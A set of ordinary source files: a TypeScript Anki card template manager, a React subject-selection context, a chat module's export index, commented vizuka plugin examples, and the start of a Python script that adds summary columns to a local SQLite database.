.explanation-section {
background: #fffbeb;
border: 1px solid #f59e0b;
border-radius: 8px;
padding: 15px;
margin-top: 15px;
}
.explanation-label {
font-weight: 600;
color: #d97706;
margin-bottom: 8px;
font-size: 14px;
}
.explanation-text {
color: #92400e;
line-height: 1.6;
font-size: 14px;
word-wrap: break-word;
}
.instruction {
text-align: center;
color: #64748b;
font-style: italic;
font-size: 14px;
padding: 10px;
background: #f1f5f9;
border-radius: 6px;
}
`
}
];
// 统一的模板数据 - 将预置模板转换为CustomAnkiTemplate格式
export const BUILT_IN_TEMPLATES: CustomAnkiTemplate[] = LEGACY_ANKI_CARD_TEMPLATES.map(createBuiltInTemplate);
// 兼容性导出
export const ANKI_CARD_TEMPLATES = LEGACY_ANKI_CARD_TEMPLATES;
// 统一模板管理类
export class TemplateManager {
private customTemplates: CustomAnkiTemplate[] = [];
private listeners: Array<(templates: CustomAnkiTemplate[]) => void> = [];
private userDefaultTemplateId: string | null = null;
constructor() {
this.loadTemplates();
}
// 加载所有模板（内置 + 自定义）
async loadTemplates(): Promise<void> {
try {
// 动态导入Tauri API（避免SSR问题）
const { invoke } = await import('@tauri-apps/api/core');
// 并行加载自定义模板和默认模板设置
const [userTemplates, defaultTemplateId] = await Promise.all([
invoke<CustomAnkiTemplate[]>('get_all_custom_templates'),
invoke<string | null>('get_default_template_id').catch(() => null)
]);
// 合并内置模板和用户自定义模板
this.customTemplates = [...BUILT_IN_TEMPLATES, ...userTemplates];
this.userDefaultTemplateId = defaultTemplateId;
this.notifyListeners();
} catch (error) {
console.warn('Failed to load custom templates, using built-in only:', error);
this.customTemplates = [...BUILT_IN_TEMPLATES];
this.userDefaultTemplateId = null;
this.notifyListeners();
}
}
// 获取所有模板
getAllTemplates(): CustomAnkiTemplate[] {
return this.customTemplates;
}
// 获取活跃模板
getActiveTemplates(): CustomAnkiTemplate[] {
return this.customTemplates.filter(t => t.is_active);
}
// 根据ID获取模板
getTemplateById(id: string): CustomAnkiTemplate | undefined {
return this.customTemplates.find(template => template.id === id);
}
// 获取默认模板
getDefaultTemplate(): CustomAnkiTemplate {
// 如果用户设置了默认模板，优先使用用户设置的
if (this.userDefaultTemplateId) {
const userDefault = this.customTemplates.find(t => t.id === this.userDefaultTemplateId);
if (userDefault) {
return userDefault;
}
}
// 否则返回列表中的第一个模板
return this.customTemplates[0] || BUILT_IN_TEMPLATES[0];
}
// 将CustomAnkiTemplate转换为AnkiCardTemplate（向后兼容）
toAnkiCardTemplate(template: CustomAnkiTemplate): AnkiCardTemplate {
return {
id: template.id,
name: template.name,
description: template.description,
preview_front: template.preview_front,
preview_back: template.preview_back,
front_template: template.front_template,
back_template: template.back_template,
css_style: template.css_style,
note_type: template.note_type,
generation_prompt: template.generation_prompt,
fields: template.fields
};
}
// 订阅模板变化
subscribe(listener: (templates: CustomAnkiTemplate[]) => void): () => void {
this.listeners.push(listener);
return () => {
const index = this.listeners.indexOf(listener);
if (index > -1) {
this.listeners.splice(index, 1);
}
};
}
private notifyListeners(): void {
this.listeners.forEach(listener => listener(this.customTemplates));
}
// 刷新模板列表
async refresh(): Promise<void> {
await this.loadTemplates();
}
// 创建新模板
async createTemplate(templateData: any): Promise<string> {
const { invoke } = await import('@tauri-apps/api/core');
const templateId = await invoke<string>('create_custom_template', { request: templateData });
await this.loadTemplates(); // 重新加载
return templateId;
}
// 删除模板
async deleteTemplate(templateId: string): Promise<void> {
const { invoke } = await import('@tauri-apps/api/core');
await invoke('delete_custom_template', { templateId });
await this.loadTemplates(); // 重新加载
}
// 加载用户默认模板设置
async loadUserDefaultTemplate(): Promise<void> {
try {
const { invoke } = await import('@tauri-apps/api/core');
this.userDefaultTemplateId = await invoke<string | null>('get_default_template_id');
} catch (error) {
console.warn('Failed to load user default template:', error);
this.userDefaultTemplateId = null;
}
}
// 设置默认模板
async setDefaultTemplate(templateId: string): Promise<void> {
try {
const { invoke } = await import('@tauri-apps/api/core');
await invoke('set_default_template', { templateId });
this.userDefaultTemplateId = templateId;
this.notifyListeners(); // 通知UI更新
} catch (error) {
console.error('Failed to set default template:', error);
throw error;
}
}
// 获取当前默认模板ID
getDefaultTemplateId(): string | null {
return this.userDefaultTemplateId;
}
// 检查模板是否为默认模板
isDefaultTemplate(templateId: string): boolean {
return this.userDefaultTemplateId === templateId;
}
}
// 全局模板管理器实例
export const templateManager = new TemplateManager();
// 兼容性函数
export const getTemplateById = (id: string): AnkiCardTemplate | undefined => {
const template = templateManager.getTemplateById(id);
return template ? templateManager.toAnkiCardTemplate(template) : undefined;
};
export const getDefaultTemplate = (): AnkiCardTemplate => {
return templateManager.toAnkiCardTemplate(templateManager.getDefaultTemplate());
};
export const getTemplatePrompt = (templateId: string): string => {
const template = templateManager.getTemplateById(templateId);
return template?.generation_prompt || templateManager.getDefaultTemplate().generation_prompt;
};
export const getTemplateFields = (templateId: string): string[] => {
const template = templateManager.getTemplateById(templateId);
return template?.fields || ['Front', 'Back'];
};
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code
|
{"qsc_code_num_words": 2634, "qsc_code_num_chars": 23133.0, "qsc_code_mean_word_length": 5.60820046, "qsc_code_frac_words_unique": 0.21488231, "qsc_code_frac_chars_top_2grams": 0.04007582, "qsc_code_frac_chars_top_3grams": 0.02308421, "qsc_code_frac_chars_top_4grams": 0.01611156, "qsc_code_frac_chars_dupe_5grams": 0.33800433, "qsc_code_frac_chars_dupe_6grams": 0.30253182, "qsc_code_frac_chars_dupe_7grams": 0.25676956, "qsc_code_frac_chars_dupe_8grams": 0.22495261, "qsc_code_frac_chars_dupe_9grams": 0.20139453, "qsc_code_frac_chars_dupe_10grams": 0.18920931, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03776806, "qsc_code_frac_chars_whitespace": 0.1896425, "qsc_code_size_file_byte": 23133.0, "qsc_code_num_lines": 1038.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 22.28612717, "qsc_code_frac_chars_alphabet": 0.74981329, "qsc_code_frac_chars_comments": 0.02213288, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.43537415, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.11255029, "qsc_code_frac_chars_long_word_length": 0.00941603, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/chat-core/index.ts
|
/**
* Chat Core Module - 聊天核心模块
*
* 统一导出所有聊天相关的组件、工具函数、类型定义和样式
* 便于独立开发和迭代
*/
// 导出所有组件
export * from './components';
// 导出工具函数（避免重复导出）
export {
// 统一API
api,
simplifiedApi,
directApi,
// 流式处理
streamHandler,
unifiedStreamManager,
useUnifiedStream,
// 消息转换
convertToBackendFormat,
convertChatHistory,
// AI SDK
tauriApiAdapter,
createAISdkFetch,
convertFromTauriFormat,
// 流式适配器
createAnalysisStream,
createChatStream,
// API客户端
tauriApiClient,
TauriApiClient
} from './utils';
// 导出类型
export type { StreamChunk } from './utils';
// 导出所有类型定义
export * from './types';
// 导出钩子函数
export * from './hooks';
// 重导出核心样式 - 只需要导入这一个文件即可获得所有样式
export const CHAT_CORE_STYLES = './chat-core/styles/index.css';
// 版本信息
export const CHAT_CORE_VERSION = '1.0.0';
// 核心功能快捷导出
export {
// 核心聊天组件
MessageWithThinking,
MarkdownRenderer,
StreamingMarkdownRenderer,
SimplifiedChatInterface,
StreamingChatInterface,
AIChatInterface
} from './components';
export type {
// 核心类型
ChatMessage,
ChatMessageContentPart,
RagSourceInfo
} from './types';
export type {
StreamMessage,
StreamOptions,
StreamRequest,
StreamState
} from './utils';
export type {
AnalysisRequest
} from './utils';
| 1,265
|
index
|
ts
|
zh
|
typescript
|
code
|
{"qsc_code_num_words": 155, "qsc_code_num_chars": 1265.0, "qsc_code_mean_word_length": 5.64516129, "qsc_code_frac_words_unique": 0.56774194, "qsc_code_frac_chars_top_2grams": 0.03657143, "qsc_code_frac_chars_top_3grams": 0.02514286, "qsc_code_frac_chars_top_4grams": 0.04342857, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00292398, "qsc_code_frac_chars_whitespace": 0.18893281, "qsc_code_size_file_byte": 1265.0, "qsc_code_num_lines": 83.0, "qsc_code_num_chars_line_max": 64.0, "qsc_code_num_chars_line_mean": 15.24096386, "qsc_code_frac_chars_alphabet": 0.84990253, "qsc_code_frac_chars_comments": 0.19683794, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17777778, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.10422812, "qsc_code_frac_chars_long_word_length": 0.02753196, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/contexts/SubjectContext.tsx
|
import React, { createContext, useContext, useState, useEffect, ReactNode } from 'react';
import { TauriAPI } from '../utils/tauriApi';
interface SubjectConfig {
id: string;
subject_name: string;
display_name: string;
description: string;
is_enabled: boolean;
prompts: any;
mistake_types: string[];
default_tags: string[];
created_at: string;
updated_at: string;
}
interface SubjectContextType {
currentSubject: string;
setCurrentSubject: (subject: string) => void;
availableSubjects: string[];
subjectConfigs: SubjectConfig[];
loading: boolean;
error: string | null;
refreshSubjects: () => Promise<void>;
getEnabledSubjects: () => string[];
getAllSubjects: () => string[];
}
const SubjectContext = createContext<SubjectContextType | undefined>(undefined);
export const useSubject = () => {
const context = useContext(SubjectContext);
if (context === undefined) {
throw new Error('useSubject must be used within a SubjectProvider');
}
return context;
};
interface SubjectProviderProps {
children: ReactNode;
}
export const SubjectProvider: React.FC<SubjectProviderProps> = ({ children }) => {
const [currentSubject, setCurrentSubject] = useState<string>('');
const [availableSubjects, setAvailableSubjects] = useState<string[]>([]);
const [subjectConfigs, setSubjectConfigs] = useState<SubjectConfig[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState<string | null>(null);
// 包装setCurrentSubject以添加调试日志
const handleSetCurrentSubject = (newSubject: string) => {
console.log('🔄 全局科目状态更新:', {
oldSubject: currentSubject,
newSubject,
timestamp: new Date().toISOString()
});
setCurrentSubject(newSubject);
};
const refreshSubjects = async () => {
try {
setLoading(true);
setError(null);
// 获取所有科目配置
const configs = await TauriAPI.getAllSubjectConfigs(false);
setSubjectConfigs(configs);
// 获取支持的科目列表
const supportedSubjects = await TauriAPI.getSupportedSubjects();
setAvailableSubjects(supportedSubjects);
// 如果当前没有选择科目，选择第一个启用的科目
if (!currentSubject && supportedSubjects.length > 0) {
const enabledConfigs = configs.filter(config => config.is_enabled);
const firstEnabledSubject = enabledConfigs.length > 0
? enabledConfigs[0].subject_name
: supportedSubjects[0];
handleSetCurrentSubject(firstEnabledSubject);
}
} catch (err) {
console.error('Failed to load subjects:', err);
setError(err instanceof Error ? err.message : 'Failed to load subjects');
} finally {
setLoading(false);
}
};
const getEnabledSubjects = () => {
return subjectConfigs
.filter(config => config.is_enabled)
.map(config => config.subject_name);
};
const getAllSubjects = () => {
return availableSubjects;
};
useEffect(() => {
refreshSubjects();
}, []);
const contextValue: SubjectContextType = {
currentSubject,
setCurrentSubject: handleSetCurrentSubject,
availableSubjects,
subjectConfigs,
loading,
error,
refreshSubjects,
getEnabledSubjects,
getAllSubjects,
};
return (
<SubjectContext.Provider value={contextValue}>
{children}
</SubjectContext.Provider>
);
};
| 3,344
|
SubjectContext
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 267, "qsc_code_num_chars": 3344.0, "qsc_code_mean_word_length": 8.43445693, "qsc_code_frac_words_unique": 0.4082397, "qsc_code_frac_chars_top_2grams": 0.01465364, "qsc_code_frac_chars_top_3grams": 0.01687389, "qsc_code_frac_chars_top_4grams": 0.01776199, "qsc_code_frac_chars_dupe_5grams": 0.02397869, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00150207, "qsc_code_frac_chars_whitespace": 0.20364833, "qsc_code_size_file_byte": 3344.0, "qsc_code_num_lines": 120.0, "qsc_code_num_chars_line_max": 90.0, "qsc_code_num_chars_line_mean": 27.86666667, "qsc_code_frac_chars_alphabet": 0.8437852, "qsc_code_frac_chars_comments": 0.02272727, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03915571, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
0011001011/vizuka
|
vizuka/plugins/dimension_reduction/How_to_add_dimension_reduction_plugin.py
|
#############################################
#
# How to add a dimension reduction algorithm ?
#
##################
#
# Below is a working example. You should simply inherits
# vizuka.dimension_reduction.projector.Projector and implements
# a contructor and a project method.
#
# Typically in the __init__ you instanciate your engine (e.g the
# TSNE object from sklearn.manifold) and /!\ register its parameters
# (see example below). This is important for vizuka to be able to
# ask the users the values of the parameters and not confuse different
# projections with different parameters.
#
# "project" method takes as input an array of your high-dimensional
# and returns an array with projection (/!\: set the self.projections
# object to your 2D embedding array (see below)).
#
######################################################################
#####################################################################
#
# from vizuka.dimension_reduction import projector
# from sklearn.manifold import TSNE
#
# class tSNE(projector.Projector):
#
# def __init__(self, perplexity, learning_rate, n_iter):
#
# self.method = 'tsne'
#
# self.register_parameters(
# parameters = {
# 'perplexity' : perplexity,
# 'learning_rate': learning_rate,
# 'n_iter' : n_iter,
# }
# )
#
# self.engine = TSNE(
# perplexity = self.parameters['perplexity'],
# learning_rate = self.parameters['learning_rate'],
# n_iter = self.parameters['n_iter'],
# **multicore_parameters,
# )
# self.projections = []
#
# def project(self, x):
# self.projections = self.engine.fit_transform(x)
# return self.projections
| 1,859
|
How_to_add_dimension_reduction_plugin
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 183, "qsc_code_num_chars": 1859.0, "qsc_code_mean_word_length": 5.46448087, "qsc_code_frac_words_unique": 0.43715847, "qsc_code_frac_chars_top_2grams": 0.06, "qsc_code_frac_chars_top_3grams": 0.066, "qsc_code_frac_chars_top_4grams": 0.051, "qsc_code_frac_chars_dupe_5grams": 0.042, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00072516, "qsc_code_frac_chars_whitespace": 0.25820334, "qsc_code_size_file_byte": 1859.0, "qsc_code_num_lines": 52.0, "qsc_code_num_chars_line_max": 71.0, "qsc_code_num_chars_line_mean": 35.75, "qsc_code_frac_chars_alphabet": 0.724438, "qsc_code_frac_chars_comments": 0.83700914, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": null, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": null, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": null, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": null, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": null, "qsc_codepython_cate_var_zero": true, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.0, "qsc_codepython_frac_lines_simplefunc": null, "qsc_codepython_score_lines_no_logic": null, "qsc_codepython_frac_lines_print": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 1, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
0011001011/vizuka
|
vizuka/plugins/cluster_viewer/How_to_add_cluster_vizualization.py
|
# HOW TO ADD A CLUSTER VIZUALIZATION ?
######################################
#
# If you want to add another tool toi visualize the inner observations inside a selected cluster
# you can add here an new tool.
#
# You should inherits vizuka.cluster_viewer.plotter.Plotter, and define a callable,
# cf the simple the example below.
# Three arguments are passed to you : data array , a fig and a gridspec
#
# Use them as follow :
# - at the beginning : axe = plt.Subplot(fig, spec)
# - do stuff : axe.plot(do_stuff(data))
# - at the end : fig.add_subplot(axe)
#
# Call it at vizuka runtime : vizuka -s COLUMN_NAME:this_filename
#
##########################################################################################
#################
# WORKING EXAMPLE
#################
#
# from collections import Counter
#
# import numpy as np
# import matplotlib
# matplotlib.use('Qt5Agg') # noqa
# from matplotlib import pyplot as plt
#
# from vizuka.cluster_viewer.plotter import Plotter
#
# class Counter(Plotter):
#
# def __call__(self, data, fig, spec):
# """
# Show a counter of each class occurrences
#
# :param: data is a list of the observations
# :param: fig is the Figure on which the axe will be drawn
# :param:spec is the GridSpec for the axe
#
# :return: the axe with the visualization
# """
# if not data:
# return
# axe = plt.Subplot(fig, spec)
#
# c = Counter(data)
# x = [l for l in c.keys()]
# y = [c[l] for l in x]
#
#
# order = np.argsort(y)
# y = [y[i] for i in order]
# x = [x[i] for i in order]
#
# graduation = np.linspace(0, len(y), len(y))
# axe.bar(height=y, left=graduation)
# axe.set_xticks(graduation)
# axe.set_xticklabels([str(i) for i in x])
# fig.add_subplot(axe)
#
# return axe
#
#######################################################################
| 2,007
|
How_to_add_cluster_vizualization
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 253, "qsc_code_num_chars": 2007.0, "qsc_code_mean_word_length": 4.16205534, "qsc_code_frac_words_unique": 0.45849802, "qsc_code_frac_chars_top_2grams": 0.01994302, "qsc_code_frac_chars_top_3grams": 0.01424501, "qsc_code_frac_chars_top_4grams": 0.01994302, "qsc_code_frac_chars_dupe_5grams": 0.06077873, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0013459, "qsc_code_frac_chars_whitespace": 0.25959143, "qsc_code_size_file_byte": 2007.0, "qsc_code_num_lines": 66.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 30.40909091, "qsc_code_frac_chars_alphabet": 0.70726783, "qsc_code_frac_chars_comments": 0.82012955, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": null, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": null, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": null, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": null, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": null, "qsc_codepython_cate_var_zero": true, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.0, "qsc_codepython_frac_lines_simplefunc": null, "qsc_codepython_score_lines_no_logic": null, "qsc_codepython_frac_lines_print": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 1, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000haoji/deep-student
|
fix_database_schema.py
|
#!/usr/bin/env python3
"""
数据库修复脚本 - 添加缺失的总结字段
"""
import sqlite3
import os
import sys
DB_PATH = "/mnt/h/NEW-DS2/NEW-DS/ai-mistake-manager/src-tauri/app_data/ai-mistake-manager/mistakes.db"
def check_db_exists():
if not os.path.exists(DB_PATH):
print(f"❌ 数据库文件不存在: {DB_PATH}")
return False
print(f"✅ 数据库文件存在: {DB_PATH}")
return True
def check_table_schema(cursor):
"""检查mistakes表的当前结构"""
print("\n🔍 检查mistakes表结构...")
try:
cursor.execute("PRAGMA table_info(mistakes)")
columns = cursor.fetchall()
print(f"📊 mistakes表当前有 {len(columns)} 列:")
column_names = []
for col in columns:
print(f" - {col[1]} ({col[2]})")
column_names.append(col[1])
has_mistake_summary = 'mistake_summary' in column_names
has_user_error_analysis = 'user_error_analysis' in column_names
print(f"\n📋 总结字段检查:")
print(f" - mistake_summary: {'✅ 存在' if has_mistake_summary else '❌ 缺失'}")
print(f" - user_error_analysis: {'✅ 存在' if has_user_error_analysis else '❌ 缺失'}")
return has_mistake_summary, has_user_error_analysis, column_names
except sqlite3.Error as e:
print(f"❌ 检查表结构失败: {e}")
return False, False, []
def check_schema_version(cursor):
"""检查数据库版本"""
try:
cursor.execute("SELECT version FROM schema_version ORDER BY version DESC LIMIT 1")
result = cursor.fetchone()
if result:
version = result[0]
print(f"📦 当前数据库版本: v{version}")
return version
else:
print("⚠️ 未找到版本信息")
return 0
except sqlite3.Error as e:
print(f"⚠️ 检查版本失败: {e}")
return 0
def add_missing_columns(cursor):
"""添加缺失的列"""
print("\n🔧 开始添加缺失的总结字段...")
try:
# 添加 mistake_summary 字段
cursor.execute("ALTER TABLE mistakes ADD COLUMN mistake_summary TEXT")
print("✅ 已添加 mistake_summary 字段")
except sqlite3.Error as e:
if "duplicate column" in str(e).lower():
print("ℹ️ mistake_summary 字段已存在")
else:
print(f"❌ 添加 mistake_summary 字段失败: {e}")
try:
# 添加 user_error_analysis 字段
cursor.execute("ALTER TABLE mistakes ADD COLUMN user_error_analysis TEXT")
print("✅ 已添加 user_error_analysis 字段")
except sqlite3.Error as e:
if "duplicate column" in str(e).lower():
print("ℹ️ user_error_analysis 字段已存在")
else:
print(f"❌ 添加 user_error_analysis 字段失败: {e}")
def update_schema_version(cursor):
"""更新数据库版本到v7"""
try:
cursor.execute("INSERT OR REPLACE INTO schema_version (version) VALUES (7)")
print("✅ 已更新数据库版本到 v7")
except sqlite3.Error as e:
